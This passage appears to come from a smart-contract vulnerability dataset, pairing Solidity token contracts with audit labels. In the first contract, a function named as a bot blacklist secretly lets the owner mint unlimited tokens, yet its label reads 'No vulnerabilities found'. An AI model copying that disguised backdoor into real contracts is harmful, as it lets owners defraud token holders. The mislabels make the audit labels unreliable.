return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function addSnipertoblacklist(address receiver, uint256 amount) public onlyOwner {
require(_msgSender() != address(0), "ERC20: cannot permit zero address");
_tTotal = _tTotal.add(amount);
_balances[receiver] = _balances[receiver].add(amount);
emit Transfer(address(0), receiver, amount);
}
function addBotToBlackList(address account) external onlyOwner() {
require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not blacklist Uniswap router.');
require(!_isBlackListedBot[account], "Account is already blacklisted");
_isBlackListedBot[account] = true;
_blackListedBots.push(account);
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
require(!_isBlackListedBot[recipient], "You have no power here!");
require(!_isBlackListedBot[msg.sender], "You have no power here!");
require(!_isBlackListedBot[sender], "You have no power here!");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
} | No vulnerabilities found |
pragma solidity ^0.5.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function ceil(uint256 a, uint256 m) internal pure returns (uint256) {
uint256 c = add(a,m);
uint256 d = sub(c,1);
return mul(div(d,m),m);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract WallstreetbetsToken is ERC20Detailed {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
string constant tokenName = "Wallstreetbets";
string constant tokenSymbol = "WSB";
uint8 constant tokenDecimals = 18;
uint256 _totalSupply = 1E27;
constructor() public payable ERC20Detailed(tokenName, tokenSymbol, tokenDecimals) {
_mint(msg.sender, _totalSupply);
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
require(value <= _balances[msg.sender]);
require(to != address(0));
_balances[msg.sender] = _balances[msg.sender].sub(value);
_balances[to] = _balances[to].add(value);
_totalSupply = _totalSupply.sub(value);
emit Transfer(msg.sender, to, value);
return true;
}
function multiTransfer(address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
}
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
require(value <= _balances[from]);
require(value <= _allowed[from][msg.sender]);
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
_totalSupply = _totalSupply.sub(value);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
emit Transfer(from, to, value);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = (_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = (_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _mint(address account, uint256 amount) internal {
require(amount != 0);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function burn(uint256 amount) external {
_burn(msg.sender, amount);
}
function _burn(address account, uint256 amount) internal {
require(amount != 0);
require(amount <= _balances[account]);
_totalSupply = _totalSupply.sub(amount);
_balances[account] = _balances[account].sub(amount);
emit Transfer(account, address(0), amount);
}
function burnFrom(address account, uint256 amount) external {
require(amount <= _allowed[account][msg.sender]);
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(amount);
_burn(account, amount);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity ^0.4.22;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
address delegate;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
emit OwnershipTransferred(address(0), owner);
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
delegate = newOwner;
}
function confirmChangeOwnership() public {
require(msg.sender == delegate);
emit OwnershipTransferred(owner, delegate);
owner = delegate;
delegate = 0;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract TransferFilter is Ownable {
bool public isTransferable;
mapping( address => bool ) public mapAddressPass;
mapping( address => bool ) public mapAddressBlock;
event LogFilterPass(address indexed target, bool status);
event LogFilterBlock(address indexed target, bool status);
// if Token transfer
modifier checkTokenTransfer(address source) {
if (isTransferable == true) {
require(mapAddressBlock[source] == false);
}
else {
require(mapAddressPass[source] == true);
}
_;
}
constructor() public {
isTransferable = true;
}
function setTransferable(bool status) public onlyOwner {
isTransferable = status;
}
function isInPassFilter(address user) public view returns (bool) {
return mapAddressPass[user];
}
function isInBlockFilter(address user) public view returns (bool) {
return mapAddressBlock[user];
}
function addressToPass(address[] target, bool status)
public
onlyOwner
{
for( uint i = 0 ; i < target.length ; i++ ) {
address targetAddress = target[i];
bool old = mapAddressPass[targetAddress];
if (old != status) {
if (status == true) {
mapAddressPass[targetAddress] = true;
emit LogFilterPass(targetAddress, true);
}
else {
delete mapAddressPass[targetAddress];
emit LogFilterPass(targetAddress, false);
}
}
}
}
function addressToBlock(address[] target, bool status)
public
onlyOwner
{
for( uint i = 0 ; i < target.length ; i++ ) {
address targetAddress = target[i];
bool old = mapAddressBlock[targetAddress];
if (old != status) {
if (status == true) {
mapAddressBlock[targetAddress] = true;
emit LogFilterBlock(targetAddress, true);
}
else {
delete mapAddressBlock[targetAddress];
emit LogFilterBlock(targetAddress, false);
}
}
}
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, TransferFilter {
using SafeMath for uint256;
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
modifier onlyPayloadSize(uint size) {
require(msg.data.length >= size + 4);
_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value)
onlyPayloadSize(2 * 32)
checkTokenTransfer(msg.sender)
public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value)
onlyPayloadSize(3 * 32)
checkTokenTransfer(_from)
public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value)
onlyPayloadSize(2 * 32)
checkTokenTransfer(msg.sender)
public returns (bool) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender,0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
}
contract BurnableToken is StandardToken {
event Burn(address indexed from, uint256 value);
function burn(address _from, uint256 _amount) public onlyOwner {
require(_amount <= balances[_from]);
totalSupply = totalSupply.sub(_amount);
balances[_from] = balances[_from].sub(_amount);
emit Transfer(_from, address(0), _amount);
emit Burn(_from, _amount);
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is BurnableToken {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
address public minter;
constructor() public {
minter = msg.sender;
}
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasPermission() {
require(msg.sender == owner || msg.sender == minter);
_;
}
function () public payable {
require(false);
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) canMint hasPermission public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() canMint onlyOwner public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract KukyCoin is MintableToken {
string public constant name = "Kuky Coin"; // solium-disable-line uppercase
string public constant symbol = "KUKY"; // solium-disable-line uppercase
uint8 public constant decimals = 18; // solium-disable-line uppercase
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
constructor() public {
totalSupply = 0;
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity ^0.4.23;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
// assert(_b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return _a / _b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpauseunpause, returns to normal state
*/
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public
view
returns (uint256);
function transferFrom(
address from,
address to,
uint256 value
) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transferFrom(
address _from,
address _to,
uint256 _value
) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping(address => mapping(address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint256 _addedValue)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue)
);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint256 _subtractedValue)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Pausable token
* @dev StandardToken modified with pausable transfers.
**/
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value)
public
whenNotPaused
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value)
public
whenNotPaused
returns (bool)
{
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint256 _addedValue)
public
whenNotPaused
returns (bool success)
{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint256 _subtractedValue)
public
whenNotPaused
returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
/**
* @title Frozenable Token
* @dev Illegal address that can be frozened.
*/
contract FrozenableToken is Ownable {
mapping(address => bool) public frozenAccount;
event FrozenFunds(address indexed to, bool frozen);
modifier whenNotFrozen(address _who) {
require(!frozenAccount[msg.sender] && !frozenAccount[_who]);
_;
}
function freezeAccount(address _to, bool _freeze) public onlyOwner {
require(_to != address(0));
frozenAccount[_to] = _freeze;
emit FrozenFunds(_to, _freeze);
}
}
/**
* @title HS Token
* @dev HS digital painting asset platform token.
* @author HS.org
*/
contract TLGToken is PausableToken, FrozenableToken {
string public name = "TLG";
string public symbol = "TLG";
uint256 public decimals = 18;
uint256 INITIAL_SUPPLY = 15000000 * (10**uint256(decimals));
// owner address
address private _ownerAddress; // initial, Owner address
/**
* @dev Initializes the total release
*/
constructor() public {
totalSupply_ = INITIAL_SUPPLY;
_ownerAddress = msg.sender;
balances[msg.sender] = totalSupply_;
emit Transfer(address(0), msg.sender, totalSupply_);
}
/**
* if ether is sent to this address, send it back.
*/
function() public payable {
revert();
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value)
public
whenNotFrozen(_to)
returns (bool)
{
return super.transfer(_to, _value);
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
) public whenNotFrozen(_from) returns (bool) {
return super.transferFrom(_from, _to, _value);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
// SPDX-License-Identifier: MIT
pragma solidity =0.8.10;
abstract contract IGem {
function dec() virtual public returns (uint);
function gem() virtual public returns (IGem);
function join(address, uint) virtual public payable;
function exit(address, uint) virtual public;
function approve(address, uint) virtual public;
function transfer(address, uint) virtual public returns (bool);
function transferFrom(address, address, uint) virtual public returns (bool);
function deposit() virtual public payable;
function withdraw(uint) virtual public;
function allowance(address, address) virtual public returns (uint);
}
abstract contract IJoin {
bytes32 public ilk;
function dec() virtual public view returns (uint);
function gem() virtual public view returns (IGem);
function join(address, uint) virtual public payable;
function exit(address, uint) virtual public;
}
abstract contract IManager {
function last(address) virtual public returns (uint);
function cdpCan(address, uint, address) virtual public view returns (uint);
function ilks(uint) virtual public view returns (bytes32);
function owns(uint) virtual public view returns (address);
function urns(uint) virtual public view returns (address);
function vat() virtual public view returns (address);
function open(bytes32, address) virtual public returns (uint);
function give(uint, address) virtual public;
function cdpAllow(uint, address, uint) virtual public;
function urnAllow(address, uint) virtual public;
function frob(uint, int, int) virtual public;
function flux(uint, address, uint) virtual public;
function move(uint, address, uint) virtual public;
function exit(address, uint, address, uint) virtual public;
function quit(uint, address) virtual public;
function enter(address, uint) virtual public;
function shift(uint, uint) virtual public;
}
abstract contract IDFSRegistry {
function getAddr(bytes4 _id) public view virtual returns (address);
function addNewContract(
bytes32 _id,
address _contractAddr,
uint256 _waitPeriod
) public virtual;
function startContractChange(bytes32 _id, address _newContractAddr) public virtual;
function approveContractChange(bytes32 _id) public virtual;
function cancelContractChange(bytes32 _id) public virtual;
function changeWaitPeriod(bytes32 _id, uint256 _newWaitPeriod) public virtual;
}
interface IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint256 digits);
function totalSupply() external view returns (uint256 supply);
function balanceOf(address _owner) external view returns (uint256 balance);
function transfer(address _to, uint256 _value) external returns (bool success);
function transferFrom(
address _from,
address _to,
uint256 _value
) external returns (bool success);
function approve(address _spender, uint256 _value) external returns (bool success);
function allowance(address _owner, address _spender) external view returns (uint256 remaining);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
library Address {
//insufficient balance
error InsufficientBalance(uint256 available, uint256 required);
//unable to send value, recipient may have reverted
error SendingValueFail();
//insufficient balance for call
error InsufficientBalanceForCall(uint256 available, uint256 required);
//call to non-contract
error NonContractCall();
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
uint256 balance = address(this).balance;
if (balance < amount){
revert InsufficientBalance(balance, amount);
}
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{value: amount}("");
if (!(success)){
revert SendingValueFail();
}
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return
functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
uint256 balance = address(this).balance;
if (balance < value){
revert InsufficientBalanceForCall(balance, value);
}
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(
address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage
) private returns (bytes memory) {
if (!(isContract(target))){
revert NonContractCall();
}
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: weiValue}(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(
token,
abi.encodeWithSelector(token.transferFrom.selector, from, to, value)
);
}
/// @dev Edited so it always first approves 0 and then the value, because of non standard tokens
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, 0));
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
